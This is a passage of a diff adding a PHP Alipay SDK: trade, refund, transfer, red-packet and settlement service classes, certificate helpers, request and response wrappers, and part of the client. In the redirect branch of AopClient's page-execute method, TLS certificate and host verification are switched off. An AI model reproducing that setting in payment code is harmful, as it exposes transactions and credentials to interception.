* 解冻剩余资金
* @param string $trade_no 支付宝订单号
* @return mixed {"trade_no":"支付宝交易号","settle_no":"支付宝分账单号"}
* @throws Exception
*/
public function order_settle_unfreeze(string $trade_no) {
$apiName = 'alipay.trade.order.settle';
$out_request_no = date("YmdHis").rand(11111,99999);
$bizContent = array(
'out_request_no' => $out_request_no,
'trade_no' => $trade_no,
'extend_params' => [
'royalty_finish' => 'true'
],
);
return $this->aopExecute($apiName, $bizContent);
}
/**
* 分账查询
* @param string $settle_no 支付宝分账单号
* @return mixed {"out_request_no":"商户分账请求单号","operation_dt":"分账受理时间","royalty_detail_list":[{"operation_type":"transfer","execute_dt":"分账执行时间","trans_out":"2088111111111111","trans_out_type":"userId","trans_in":"2088111111112222","trans_in_type":"userId","amount":10,"state":"FAIL","error_code":"TXN_RESULT_ACCOUNT_BALANCE_NOT_ENOUGH","error_desc":"分账余额不足"}]}
* @throws Exception
*/
public function order_settle_query(string $settle_no) {
$apiName = 'alipay.trade.order.settle.query';
$bizContent = array(
'settle_no' => $settle_no,
);
return $this->aopExecute($apiName, $bizContent);
}
/**
* 分账比例查询
* @return mixed {"user_id":"2088XXXX1234","max_ratio":80}
* @throws Exception
*/
public function rate_query() {
$apiName = 'alipay.trade.royalty.rate.query';
$out_request_no = date("YmdHis").rand(11111,99999);
$bizContent = array(
'out_request_no' => $out_request_no,
);
return $this->aopExecute($apiName, $bizContent);
}
/**
* 退分账
* @param string $trade_no 支付宝交易号
* @param string $type 支出方账户类型(userId,loginName)
* @param string $account 支出方账户
* @param numeric $money 分账的金额
* @return true
* @throws Exception
*/
public function order_settle_refund(string $trade_no, string $type, string $account, $money): bool
{
$apiName = 'alipay.trade.refund';
$out_request_no = date("YmdHis").rand(11111,99999);
$receiver = [
'royalty_type' => 'transfer',
'trans_out_type' => $type,
'trans_out' => $account,
'amount' => $money
];
$bizContent = array(
'trade_no' => $trade_no,
'refund_amount' => '0',
'out_request_no' => $out_request_no,
'refund_royalty_parameters' => [
$receiver
],
);
$this->aopExecute($apiName, $bizContent);
return true;
}
}
@@ -0,0 +1,409 @@
<?php
namespace Alipay;
use Exception;
/**
* 支付宝交易服务类
*/
class AlipayTradeService extends AlipayService
{
//互联网直付通模式子商户ID
private $smid;
/**
* @param array $config 支付宝配置信息
*/
public function __construct(array $config)
{
parent::__construct($config);
if (isset($config['smid'])) {
$this->smid = $config['smid'];
}
if (isset($config['notify_url'])) {
$this->notifyUrl = $config['notify_url'];
}
if (isset($config['return_url'])) {
$this->returnUrl = $config['return_url'];
}
}
/**
* 付款码支付
* @param array $bizContent 请求参数的集合
* @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","open_id":"买家支付宝userid","buyer_logon_id":"买家支付宝账号"}
* @throws Exception
* @see https://opendocs.alipay.com/open/02ekfp?ref=api&scene=32
*/
public function scanPay(array $bizContent)
{
$apiName = 'alipay.trade.pay';
return $this->aopExecute($apiName, $bizContent);
}
/**
* 扫码支付
* @param array $bizContent 请求参数的集合
* @return mixed {"out_trade_no":"商户订单号","qr_code":"二维码链接"}
* @throws Exception
* @see https://opendocs.alipay.com/open/02ekfg?ref=api&scene=19
*/
public function qrPay(array $bizContent)
{
$apiName = 'alipay.trade.precreate';
return $this->aopExecute($apiName, $bizContent);
}
/**
* JS支付
* @param array $bizContent 请求参数的集合
* @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号"}
* @throws Exception
* @see https://opendocs.alipay.com/open/02ekfj?ref=api
*/
public function jsPay(array $bizContent)
{
$apiName = 'alipay.trade.create';
return $this->aopExecute($apiName, $bizContent);
}
/**
* APP支付
* @param array $bizContent 请求参数的集合
* @return string SDK请求串
* @see https://opendocs.alipay.com/open/02e7gq?ref=api&scene=20
*/
public function appPay(array $bizContent): string
{
$apiName = 'alipay.trade.app.pay';
return $this->aopSdkExecute($apiName, $bizContent);
}
/**
* 电脑网站支付
* @param array $bizContent 请求参数的集合
* @return string html表单
* @throws Exception
* @see https://opendocs.alipay.com/open/028r8t?ref=api&scene=22
*/
public function pagePay(array $bizContent): string
{
$apiName = 'alipay.trade.page.pay';
$bizContent['product_code'] = 'FAST_INSTANT_TRADE_PAY';
return $this->aopPageExecute($apiName, $bizContent);
}
/**
* 手机网站支付
* @param array $bizContent 请求参数的集合
* @return string html表单
* @throws Exception
* @see https://opendocs.alipay.com/open/02ivbs?ref=api&scene=21
*/
public function wapPay(array $bizContent): string
{
$apiName = 'alipay.trade.wap.pay';
$bizContent['product_code'] = 'QUICK_WAP_WAY';
return $this->aopPageExecute($apiName, $bizContent);
}
/**
* 交易查询
* @param string|null $trade_no 支付宝交易号
* @param string|null $out_trade_no 商户订单号
* @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","open_id":"买家支付宝userid","buyer_logon_id":"买家支付宝账号","trade_status":"TRADE_SUCCESS","total_amount":88.88}
* @throws Exception
*/
public function query(string $trade_no = null, string $out_trade_no = null)
{
$apiName = 'alipay.trade.query';
$bizContent = [];
if ($trade_no) {
$bizContent['trade_no'] = $trade_no;
}
if ($out_trade_no) {
$bizContent['out_trade_no'] = $out_trade_no;
}
return $this->aopExecute($apiName, $bizContent);
}
/**
* 交易是否成功
* @param null $trade_no 支付宝交易号
* @param null $out_trade_no 商户订单号
* @return bool
* @throws Exception
*/
public function queryResult($trade_no = null, $out_trade_no = null): bool
{
$result = $this->query($trade_no, $out_trade_no);
if (isset($result['code']) && $result['code'] == '10000') {
if ($result['trade_status'] == 'TRADE_SUCCESS' || $result['trade_status'] == 'TRADE_FINISHED' || $result['trade_status'] == 'TRADE_CLOSED') {
return true;
}
}
return false;
}
/**
* 交易退款
* @param array $bizContent 请求参数的集合
* @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","buyer_user_id":"买家支付宝userid","buyer_logon_id":"买家支付宝账号","fund_change":"Y","refund_fee":88.88}
* @throws Exception
* @see https://opendocs.alipay.com/open/02ekfk?ref=api
*/
public function refund(array $bizContent)
{
$apiName = 'alipay.trade.refund';
return $this->aopExecute($apiName, $bizContent);
}
/**
* 交易退款查询
* @param array $bizContent 请求参数的集合
* @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","out_request_no":"退款请求号","refund_status":"REFUND_SUCCESS","total_amount":88.88,"refund_amount":88.88}
* @throws Exception
*/
public function refundQuery(array $bizContent)
{
$apiName = 'alipay.trade.fastpay.refund.query';
return $this->aopExecute($apiName, $bizContent);
}
/**
* 交易撤销
* @param array $bizContent 请求参数的集合
* @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","retry_flag":"N是否需要重试","action":"close本次撤销触发的交易动作"}
* @throws Exception
*/
public function cancel(array $bizContent)
{
$apiName = 'alipay.trade.cancel';
return $this->aopExecute($apiName, $bizContent);
}
/**
* 交易关闭
* @param array $bizContent 请求参数的集合
* @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号"}
* @throws Exception
*/
public function close(array $bizContent)
{
$apiName = 'alipay.trade.close';
return $this->aopExecute($apiName, $bizContent);
}
/**
* 查询对账单下载地址
* @param array $bizContent 请求参数的集合
* @return mixed {"bill_download_url":"账单下载地址"}
* @throws Exception
*/
public function downloadurlQuery(array $bizContent)
{
$apiName = 'alipay.data.dataservice.bill.downloadurl.query';
return $this->aopExecute($apiName, $bizContent);
}
/**
* 支付回调验签
* @param $params array
* @return bool
* @throws Exception
*/
public function check(array $params): bool
{
$result = $this->client->verify($params);
if($result){
$result = $this->queryResult($params['trade_no']);
}
return $result;
}
/**
* 互联网直付通交易额外参数
* @param array &$bizContent 请求参数的集合
* @param string $settle_period_time 最晚结算周期
* @throws Exception
* @see https://opendocs.alipay.com/open/direct-payment/qadp9d
*/
public function directPayParams(array &$bizContent, string $settle_period_time = '1d')
{
if (empty($this->smid)) {
throw new Exception("子商户SMID不能为空");
}
if(strpos($this->smid, ',')){
$smids = explode(',', $this->smid);
$this->smid = $smids[array_rand($smids)];
}
$bizContent['sub_merchant'] = ['merchant_id' => $this->smid];
$bizContent['settle_info'] = [
'settle_period_time' => $settle_period_time,
'settle_detail_infos' => [
[
'trans_in_type' => 'defaultSettle',
'amount' => $bizContent['total_amount']
]
]
];
}
/**
* 互联网直付通确认结算
* @param string $trade_no 支付宝交易号
* @param numeric $settle_amount 结算金额
* @param bool $freeze 冻结标识
* @return mixed {"trade_no":"支付宝交易号","out_request_no":"确认结算请求流水号","settle_amount":"结算金额"}
* @throws Exception
* @see https://opendocs.alipay.com/open/direct-payment/gkvknf
*/
public function settle_confirm(string $trade_no, $settle_amount, bool $freeze = false)
{
$apiName = 'alipay.trade.settle.confirm';
$out_request_no = date("YmdHis").rand(11111,99999);
$bizContent = array(
'out_request_no' => $out_request_no,
'trade_no' => $trade_no,
'settle_info' => [
'settle_detail_infos' => [
[
'trans_in_type' => 'defaultSettle',
'amount' => $settle_amount
]
]
],
);
if($freeze){
$bizContent['extend_params'] = ['royalty_freeze' => 'true'];
}
return $this->aopExecute($apiName, $bizContent);
}
/**
* 合并支付预创建
* @param array $bizContent 请求参数的集合
* @return mixed {"out_merge_no":"合单订单号","pre_order_no":"预下单号"}
* @throws Exception
* @see https://opendocs.alipay.com/open/028xr9
*/
public function mergePrecreatePay(array $bizContent)
{
$apiName = 'alipay.trade.merge.precreate';
$params = null;
if (!empty($this->returnUrl)) {
$params['return_url'] = $this->returnUrl;
}
return $this->aopExecute($apiName, $bizContent, $params);
}
/**
* 手机网站合单支付
* @param array $bizContent 请求参数的集合
* @return string html表单
* @throws Exception
* @see https://opendocs.alipay.com/open/028xra
*/
public function wapMergePay(array $bizContent): string
{
$apiName = 'alipay.trade.wap.merge.pay';
return $this->aopPageExecute($apiName, $bizContent);
}
/**
* APP合单支付
* @param array $bizContent 请求参数的集合
* @return string SDK请求串
* @see https://opendocs.alipay.com/open/028py8
*/
public function appMergePay(array $bizContent): string
{
$apiName = 'alipay.trade.app.merge.pay';
return $this->aopSdkExecute($apiName, $bizContent);
}
/**
* 小程序合单支付
* @param array $bizContent 请求参数的集合
* @return mixed {"out_merge_no":"外部合并单号","merge_no":"合并交易号","order_detail_results":[]}
* @throws Exception
* @see https://opendocs.alipay.com/open/0a0yaq
*/
public function mergeCreate(array $bizContent)
{
$apiName = 'alipay.trade.merge.create';
return $this->aopExecute($apiName, $bizContent);
}
/**
* 线上资金授权冻结
* @param array $bizContent 请求参数的集合
* @return string SDK请求串
* @see https://opendocs.alipay.com/open/repo-0243e2
*/
public function preAuthFreeze(array $bizContent): string
{
$apiName = 'alipay.fund.auth.order.app.freeze';
return $this->aopSdkExecute($apiName, $bizContent);
}
/**
* 资金授权解冻
* @param array $bizContent 请求参数的集合
* @return mixed
* @throws Exception
*/
public function preAuthUnfreeze(array $bizContent)
{
$apiName = 'alipay.fund.auth.order.unfreeze';
return $this->aopExecute($apiName, $bizContent);
}
/**
* 资金授权撤销
* @param array $bizContent 请求参数的集合
* @return mixed
* @throws Exception
*/
public function preAuthCancel(array $bizContent)
{
$apiName = 'alipay.fund.auth.operation.cancel';
return $this->aopExecute($apiName, $bizContent);
}
/**
* 资金授权操作查询接口
* @param array $bizContent 请求参数的集合
* @return mixed
* @throws Exception
*/
public function preAuthQuery(array $bizContent)
{
$apiName = 'alipay.fund.auth.operation.detail.query';
return $this->aopExecute($apiName, $bizContent);
}
/**
* 资金转账页面支付接口
* @param array $bizContent 请求参数的集合
* @return string
* @throws Exception
*/
public function transPagePay(array $bizContent): string
{
$apiName = 'alipay.fund.trans.page.pay';
return $this->aopPageExecute($apiName, $bizContent);
}
/**
* 现金红包无线支付接口
* @param array $bizContent 请求参数的集合
* @return string
*/
public function transAppPay(array $bizContent): string
{
$apiName = 'alipay.fund.trans.app.pay';
return $this->aopSdkExecute($apiName, $bizContent);
}
}
@@ -0,0 +1,197 @@
<?php
namespace Alipay;
use Exception;
/**
* 支付宝转账服务类
* @see https://opendocs.alipay.com/open/309/106235
*/
class AlipayTransferService extends AlipayService
{
/**
* @param array $config 支付宝配置信息
*/
public function __construct(array $config)
{
parent::__construct($config);
}
/**
* 转账到支付宝账号
* @param string $out_biz_no 商户转账唯一订单号
* @param numeric $amount 转账金额
* @param int $is_userid 收款方是否支付宝userid(0支付宝账号,1支付宝UID,2支付宝openid
* @param string $payee_account 收款方账户
* @param string $payee_real_name 收款方姓名
* @param string $payer_show_name 付款方显示姓名
* @return mixed {"out_biz_no":"商户订单号","order_id":"支付宝转账订单号","pay_fund_order_id":"支付宝支付资金流水号","status":"SUCCESS","trans_date":"订单支付时间"}
* @throws Exception
*/
public function transferToAccount(string $out_biz_no, $amount, int $is_userid, string $payee_account, string $payee_real_name, string $payer_show_name)
{
if ($this->isCertMode) {
$apiName = 'alipay.fund.trans.uni.transfer';
switch($is_userid) {
case 2:$payee_type = 'ALIPAY_OPEN_ID';break;
case 1:$payee_type = 'ALIPAY_USER_ID';break;
default:$payee_type = 'ALIPAY_LOGON_ID';break;
}
$bizContent = [
'out_biz_no' => $out_biz_no, //商户转账唯一订单号
'trans_amount' => $amount, //转账金额
'product_code' => 'TRANS_ACCOUNT_NO_PWD',
'biz_scene' => 'DIRECT_TRANSFER',
'order_title' => $payer_show_name, //付款方显示名称
'payee_info' => array('identity' => $payee_account, 'identity_type' => $payee_type),
'business_params' => json_encode(['payer_show_name_use_alias'=>'true']),
];
if(!empty($payee_real_name))$bizContent['payee_info']['name'] = $payee_real_name; //收款方真实姓名
} else {
$apiName = 'alipay.fund.trans.toaccount.transfer';
$payee_type = $is_userid?'ALIPAY_USERID':'ALIPAY_LOGONID';
$bizContent = [
'out_biz_no' => $out_biz_no, //商户转账唯一订单号
'payee_type' => $payee_type, //收款方账户类型
'payee_account' => $payee_account, //收款方账户
'amount' => $amount, //转账金额
'payer_show_name' => $payer_show_name, //付款方显示姓名
];
if(!empty($payee_real_name))$bizContent['payee_real_name'] = $payee_real_name; //收款方真实姓名
}
$result = $this->aopExecute($apiName, $bizContent);
if(isset($result['pay_date'])) $result['trans_date'] = $result['pay_date'];
return $result;
}
/**
* 转账到银行卡账户
* @param string $out_biz_no 商户转账唯一订单号
* @param numeric $amount 转账金额
* @param string $payee_account 收款方账户
* @param string $payee_real_name 收款方姓名
* @param string $payer_show_name 付款方显示姓名
* @return mixed {"out_biz_no":"商户订单号","order_id":"支付宝转账订单号","pay_fund_order_id":"支付宝支付资金流水号","status":"SUCCESS","trans_date":"订单支付时间"}
* @throws Exception
*/
public function transferToBankCard(string $out_biz_no, $amount, string $payee_account, string $payee_real_name, string $payer_show_name)
{
$apiName = 'alipay.fund.trans.uni.transfer';
$bizContent = [
'out_biz_no' => $out_biz_no, //商户转账唯一订单号
'trans_amount' => $amount, //转账金额
'product_code' => 'TRANS_BANKCARD_NO_PWD',
'biz_scene' => 'DIRECT_TRANSFER',
'order_title' => $payer_show_name, //付款方显示名称
'payee_info' => array(
'identity_type' => 'BANKCARD_ACCOUNT',
'identity' => $payee_account,
'name' => $payee_real_name,
'bankcard_ext_info' => array(
'account_type' => '2'
)
),
];
return $this->aopExecute($apiName, $bizContent);
}
/**
* 转账单据查询
* @param string $order_id 订单号
* @param int $type 订单号类型(0=支付宝转账单据号,1=支付宝支付资金流水号,2=商户转账唯一订单号)
* @param int $code 产品类型(0=转账到支付宝账户,1=转账到银行卡)
* @return mixed {"order_id":"支付宝转账单据号","pay_fund_order_id":"支付宝支付资金流水号","out_biz_no":"商户转账唯一订单号","trans_amount":1,"status":"SUCCESS","pay_date":"支付时间","error_code":"PAYEE_CARD_INFO_ERROR","fail_reason":"收款方银行卡信息有误"}
* @throws Exception
*/
public function query(string $order_id, int $type=0, int $code = 0)
{
$apiName = 'alipay.fund.trans.common.query';
$bizContent = [];
if($type==1){
$bizContent['pay_fund_order_id'] = $order_id;
}elseif($type==2){
$bizContent['out_biz_no'] = $order_id;
}else{
$bizContent['order_id'] = $order_id;
}
if($type==2){
$bizContent['product_code'] = $code == 1 ? 'TRANS_BANKCARD_NO_PWD' : 'TRANS_ACCOUNT_NO_PWD';
$bizContent['biz_scene'] = 'DIRECT_TRANSFER';
}
return $this->aopExecute($apiName, $bizContent);
}
/**
* 账户余额查询
* @param string $alipay_user_id 支付宝用户ID
* @param int $user_type 用户标识类型(0支付宝UID,1支付宝openid
* @return mixed {"available_amount":"账户可用余额","freeze_amount":"实时冻结余额"}
* @throws Exception
*/
public function accountQuery(string $alipay_user_id = null, int $user_type = 0)
{
$apiName = 'alipay.fund.account.query';
if($user_type == 1){
$bizContent = [
'alipay_open_id' => $alipay_user_id,
'account_type' => 'ACCTRANS_ACCOUNT',
];
}else{
$bizContent = [
'alipay_user_id' => $alipay_user_id,
'account_type' => 'ACCTRANS_ACCOUNT',
];
}
return $this->aopExecute($apiName, $bizContent);
}
/**
* 现金红包转账接口
* @param string $out_biz_no 商户转账唯一订单号
* @param numeric $amount 转账金额
* @param string $user_id 收款方账户
* @param string $order_title 转账业务的标题
* @param null $original_order_id 原支付宝业务单号
* @return mixed {"out_biz_no":"商户订单号","order_id":"支付宝转账订单号","pay_fund_order_id":"支付宝支付资金流水号","status":"SUCCESS","trans_date":"订单支付时间"}
* @throws Exception
*/
public function redPacketTansfer(string $out_biz_no, $amount, string $user_id, string $order_title, $original_order_id = null)
{
$apiName = 'alipay.fund.trans.uni.transfer';
$bizContent = [
'out_biz_no' => $out_biz_no,
'trans_amount' => $amount,
'product_code' => 'STD_RED_PACKET',
'biz_scene' => 'PERSONAL_COLLECTION',
'order_title' => $order_title,
'payee_info' => array('identity' => $user_id, 'identity_type' => 'ALIPAY_USER_ID'),
'business_params' => json_encode(['sub_biz_scene'=>'REDPACKET'], JSON_UNESCAPED_UNICODE)
];
if($original_order_id) $bizContent['original_order_id'] = $original_order_id;
return $this->aopExecute($apiName, $bizContent);
}
/**
* 红包资金退回接口
* @param string $out_request_no 标识一次资金退回请求
* @param string $order_id 发红包时支付宝返回的支付宝订单号
* @param numeric $refund_amount 需要退款的金额
* @return mixed {"refund_order_id":"退款的支付宝系统内部单据id","order_id":"发红包时支付宝返回的支付宝订单号","out_request_no":"标识一次资金退回请求","status":"SUCCESS","refund_amount":"本次退款的金额","refund_date":"时间"}
* @throws Exception
*/
public function redPacketRefund(string $out_request_no, string $order_id, $refund_amount)
{
$apiName = 'alipay.fund.trans.refund';
$bizContent = [
'order_id' => $order_id,
'out_request_no' => $out_request_no,
'refund_amount' => $refund_amount,
];
return $this->aopExecute($apiName, $bizContent);
}
}
@@ -0,0 +1,78 @@
<?php
namespace Alipay\Aop;
class AlipayCertHelper
{
/**
* 从证书中提取序列号
* @param string $certPath 证书路径
* @return string
*/
public static function getCertSN(string $certPath): string
{
$cert = file_get_contents($certPath);
$cert = str_replace("\n\n", "\n", $cert);
$ssl = openssl_x509_parse($cert);
return md5(self::array2string(array_reverse($ssl['issuer'])) . $ssl['serialNumber']);
}
/**
* 数组转字符串
* @param array $array 数组
* @return string
*/
private static function array2string(array $array): string
{
$string = [];
if ($array && is_array($array)) {
foreach ($array as $key => $value) {
$string[] = $key . '=' . $value;
}
}
return implode(',', $string);
}
/**
* 提取根证书序列号
* @param string $certPath 根证书
* @return string|null
*/
public static function getRootCertSN(string $certPath): ?string
{
$cert = file_get_contents($certPath);
$array = explode("-----END CERTIFICATE-----", $cert);
$SN = null;
for ($i = 0; $i < count($array) - 1; $i++) {
$ssl[$i] = openssl_x509_parse($array[$i] . "-----END CERTIFICATE-----");
if(strpos($ssl[$i]['serialNumber'],'0x') === 0){
$ssl[$i]['serialNumber'] = self::hex2dec($ssl[$i]['serialNumberHex']);
}
if ($ssl[$i]['signatureTypeLN'] == "sha1WithRSAEncryption" || $ssl[$i]['signatureTypeLN'] == "sha256WithRSAEncryption") {
if ($SN == null) {
$SN = md5(self::array2string(array_reverse($ssl[$i]['issuer'])) . $ssl[$i]['serialNumber']);
} else {
$SN = $SN . "_" . md5(self::array2string(array_reverse($ssl[$i]['issuer'])) . $ssl[$i]['serialNumber']);
}
}
}
return $SN;
}
/**
* 0x转高精度数字
* @param $hex
* @return int|string
*/
private static function hex2dec($hex)
{
$dec = 0;
$len = strlen($hex);
for ($i = 1; $i <= $len; $i++) {
$dec = bcadd($dec, bcmul(strval(hexdec($hex[$i - 1])), bcpow('16', strval($len - $i))));
}
return $dec;
}
}
@@ -0,0 +1,158 @@
<?php
namespace Alipay\Aop;
class AlipayRequest
{
protected $notifyUrl;
protected $returnUrl;
protected $terminalType;
protected $terminalInfo;
protected $prodCode;
protected $authToken;
protected $appAuthToken;
protected $bizContent;
protected $apiMethodName;
public function setOtherParams($params = [])
{
foreach ($params as $key => $value) {
$this->{$key} = $value;
}
}
/**
* 获取用于发起请求的“时间戳”.
*
* @return string
*/
public static function getTimestamp(): string
{
return date('Y-m-d H:i:s');
}
/**
* 根据类名获取 API 方法名.
*
* @return string
*/
public function getApiMethodName(): string
{
return $this->apiMethodName;
}
public function setApiMethodName($apiMethodName): AlipayRequest
{
$this->apiMethodName = $apiMethodName;
return $this;
}
public function getNotifyUrl()
{
return $this->notifyUrl;
}
public function setNotifyUrl($notifyUrl): AlipayRequest
{
$this->notifyUrl = $notifyUrl;
return $this;
}
public function getReturnUrl()
{
return $this->returnUrl;
}
public function setReturnUrl($returnUrl): AlipayRequest
{
$this->returnUrl = $returnUrl;
return $this;
}
public function getTerminalType()
{
return $this->terminalType;
}
public function setTerminalType($terminalType): AlipayRequest
{
$this->terminalType = $terminalType;
return $this;
}
public function getTerminalInfo()
{
return $this->terminalInfo;
}
public function setTerminalInfo($terminalInfo): AlipayRequest
{
$this->terminalInfo = $terminalInfo;
return $this;
}
public function getProdCode()
{
return $this->prodCode;
}
public function setProdCode($prodCode): AlipayRequest
{
$this->prodCode = $prodCode;
return $this;
}
public function getAuthToken()
{
return $this->authToken;
}
public function setAuthToken($authToken): AlipayRequest
{
$this->authToken = $authToken;
return $this;
}
public function getAppAuthToken()
{
return $this->appAuthToken;
}
public function setAppAuthToken($appAuthToken): AlipayRequest
{
$this->appAuthToken = $appAuthToken;
return $this;
}
public function getBizContent()
{
if (is_array($this->bizContent)) {
return json_encode($this->bizContent, JSON_UNESCAPED_UNICODE);
}
return $this->bizContent;
}
public function setBizContent($bizContent = []): AlipayRequest
{
$this->bizContent = $bizContent;
return $this;
}
}
@@ -0,0 +1,183 @@
<?php
namespace Alipay\Aop;
class AlipayResponse
{
/**
* 响应签名节点名
*/
const SIGN_NODE = 'sign';
/**
* 响应数据节点后缀
*/
const RESPONSE_SUFFIX = '_response';
/**
* 响应错误节点名
*/
const ERROR_NODE = 'error_response';
/**
* 支付宝公钥证书节点名
*/
const ALIPAY_CERT_SN = 'alipay_cert_sn';
/**
* 原始响应
*
* @var string
*/
protected $raw;
/**
* 已解析的响应
*
* @var mixed
*/
protected $parsed;
/**
* 数据节点名称
*/
protected $nodeName;
/**
* 待验签数据
*/
protected $signData;
/**
* @param string $raw 原始数据
* @param string $apiName 接口名称
* @throws \Exception
*/
public function __construct(string $raw, string $apiName)
{
$this->raw = $raw;
$this->parsed = json_decode($raw, true);
if (!$this->parsed) {
$error = function_exists('json_last_error_msg') ? json_last_error_msg() : json_last_error();
throw new \Exception('返回数据解析失败:'.$error);
}
$this->parseResponseData($apiName);
}
/**
* 获取原始响应的被签名数据,用于验证签名.
*
* @param string $apiName
* @throws \Exception
*/
protected function parseResponseData(string $apiName)
{
$nodeName = str_replace(".", "_", $apiName) . self::RESPONSE_SUFFIX;
$nodeIndex = strpos($this->raw, $nodeName);
if (!$nodeIndex) {
$nodeName = self::ERROR_NODE;
$nodeIndex = strpos($this->raw, $nodeName);
if(!$nodeIndex){
throw new \Exception('Response data not found');
}
}
$this->nodeName = $nodeName;
$signDataStartIndex = $nodeIndex + strlen($nodeName) + 2;
$signIndex = strrpos($this->raw, '"'.static::ALIPAY_CERT_SN.'"');
if(!$signIndex) {
$signIndex = strrpos($this->raw, '"'.static::SIGN_NODE.'"');
}
$signDataEndIndex = $signIndex - 1;
$indexLen = $signDataEndIndex - $signDataStartIndex;
if ($indexLen < 0) {
return;
}
$this->signData = substr($this->raw, $signDataStartIndex, $indexLen);
}
/**
* 获取待验签数据
*
* @return string
*/
public function getSignData(): ?string
{
return $this->signData;
}
/**
* 获取响应内的签名.
*
* @return string
*/
public function getSign(): ?string
{
if (isset($this->parsed[static::SIGN_NODE])) {
return $this->parsed[static::SIGN_NODE];
}
return null;
}
/**
* 获取响应内的数据.
*
* @param bool $assoc
*
* @return mixed|object
*/
public function getData(bool $assoc = true)
{
if (!isset($this->parsed[$this->nodeName])){
return null;
}
$result = $this->parsed[$this->nodeName];
if (!$assoc) {
$result = (object) ($result);
}
return $result;
}
/**
* 判断响应是否成功.
*
* @return bool
*/
public function isSuccess(): bool
{
if (isset($this->parsed[static::ERROR_NODE])) {
return false;
}
if (!isset($this->parsed[$this->nodeName])){
return false;
}
$data = $this->parsed[$this->nodeName];
return isset($data['code']) && $data['code'] == '10000';
}
/**
* 获取原始响应.
*
* @return string
*/
public function getRaw(): string
{
return $this->raw;
}
/**
* 获取支付宝公钥证书序列号
*
* @return bool|string
*/
public function getAlipayCertSN()
{
if (isset($this->parsed[static::ALIPAY_CERT_SN])) {
return $this->parsed[static::ALIPAY_CERT_SN];
}
return false;
}
}
@@ -0,0 +1,43 @@
<?php
namespace Alipay\Aop;
class AlipayResponseException extends \Exception
{
private $res = [];
private $retCode;
private $errCode;
/**
* @param array $res
*/
public function __construct($res)
{
$this->res = $res;
$this->retCode = $res['code'];
if (isset($res['sub_msg'])) {
$this->errCode = $res['sub_code'];
$message = '['.$res['sub_code'].']'.$res['sub_msg'];
} elseif (isset($res['msg'])) {
$message = '['.$res['code'].']'.$res['msg'];
} else {
$message = '未知错误';
}
parent::__construct($message);
}
public function getRetCode()
{
return $this->retCode;
}
public function getErrCode()
{
return $this->errCode;
}
public function getResponse(): array
{
return $this->res;
}
}
+485
View File
@@ -0,0 +1,485 @@
<?php
namespace Alipay\Aop;
use Exception;
class AopClient
{
//应用ID
public $appId;
//网关
public $gatewayUrl = 'https://openapi.alipay.com/gateway.do';
//API版本
public $apiVersion = '1.0';
//编码
public $charset = 'UTF-8';
//返回数据格式
public $format = 'json';
//应用私钥
public $rsaPrivateKey;
//应用私钥文件路径
public $rsaPrivateKeyFilePath;
//支付宝公钥
public $rsaPublicKey;
//支付宝公钥文件路径
public $rsaPublicKeyFilePath;
//AES加密密钥
public $encryptKey;
//签名方式
public $signType = 'RSA2';
//应用公钥证书编号
public $appCertSN;
//支付宝根证书编号
public $alipayRootCertSN;
//SDK版本
protected $sdkVersion = 'alipay-sdk-PHP-4.11.14.ALL';
/**
* 创建客户端.
*
*/
public function __construct() {
}
/**
* AES解密数据.
*
* @param string $content 已加密的数据,如手机号
* @param string $aesKey AES密钥
*
* @return string
*
* @see https://docs.alipay.com/mini/introduce/aes
* @see https://docs.alipay.com/mini/introduce/getphonenumber
*/
public static function aesDecrypt(string $content, string $aesKey): string
{
return openssl_decrypt($content, 'aes-128-cbc', base64_decode($aesKey));
}
/**
* AES加密数据.
*
* @param string $content 要加密的数据
* @param string $aesKey AES密钥
*
* @return string
*/
public static function aesEncrypt(string $content, string $aesKey): string
{
$result = openssl_encrypt($content, 'aes-128-cbc', base64_decode($aesKey));
return base64_encode($result);
}
/**
* 发起请求并解析结果
*
* @param AlipayRequest $request
*
* @return AlipayResponse
* @throws Exception
*/
public function execute(AlipayRequest $request): AlipayResponse
{
$params = $this->build($request);
$url = $this->gatewayUrl.'?charset='.$this->charset;
$raw = $this->curl($url, $params);
$response = new AlipayResponse($raw, $request->getApiMethodName());
$this->verifyResponse($response);
return $response;
}
/**
* 生成用于调用收银台SDK的字符串
*
* @param AlipayRequest $request
* @return string
* @throws Exception
*/
public function sdkExecute(AlipayRequest $request): string
{
$params = $this->build($request);
return http_build_query($params);
}
/**
* 页面提交执行方法
*
* @param AlipayRequest $request
* @param string $httpmethod
* @return string
* @throws Exception
*/
public function pageExecute(AlipayRequest $request, string $httpmethod = 'POST'): string
{
$params = $this->build($request);
if (strtoupper($httpmethod) == 'REDIRECT') {
$requestUrl = $this->gatewayUrl.'?'.http_build_query($params);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $requestUrl);
curl_setopt($ch, CURLOPT_FAILONERROR, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
if (curl_errno($ch) > 0) {
$errmsg = curl_error($ch);
curl_close($ch);
throw new Exception($errmsg, 0);
}
$httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($httpStatusCode == 301 || $httpStatusCode == 302) {
$redirect_url = curl_getinfo($ch, CURLINFO_REDIRECT_URL);
curl_close($ch);
return $redirect_url;
} elseif ($httpStatusCode == 200) {
curl_close($ch);
$response = mb_convert_encoding($response, 'UTF-8', 'GB2312');
if(preg_match('/<div\s+class="Todo">([^<]+)<\/div>/i', $response, $matchers)) {
throw new Exception($matchers[1]);
}
}
throw new Exception('返回数据解析失败', $httpStatusCode);
} elseif (strtoupper($httpmethod) == 'GET') {
return $this->gatewayUrl.'?'.http_build_query($params);
} else {
$url = $this->gatewayUrl.'?charset='.$this->charset;
$html = "<form id='alipaysubmit' name='alipaysubmit' action='{$url}' method='POST'>";
foreach ($params as $key => $value) {
if ($this->isEmpty($value)) {
continue;
}
$value = htmlentities($value, ENT_QUOTES | ENT_HTML5);
$html .= "<input type='hidden' name='{$key}' value='{$value}'/>";
}
$html .= "<input type='submit' value='ok' style='display:none;'></form>";
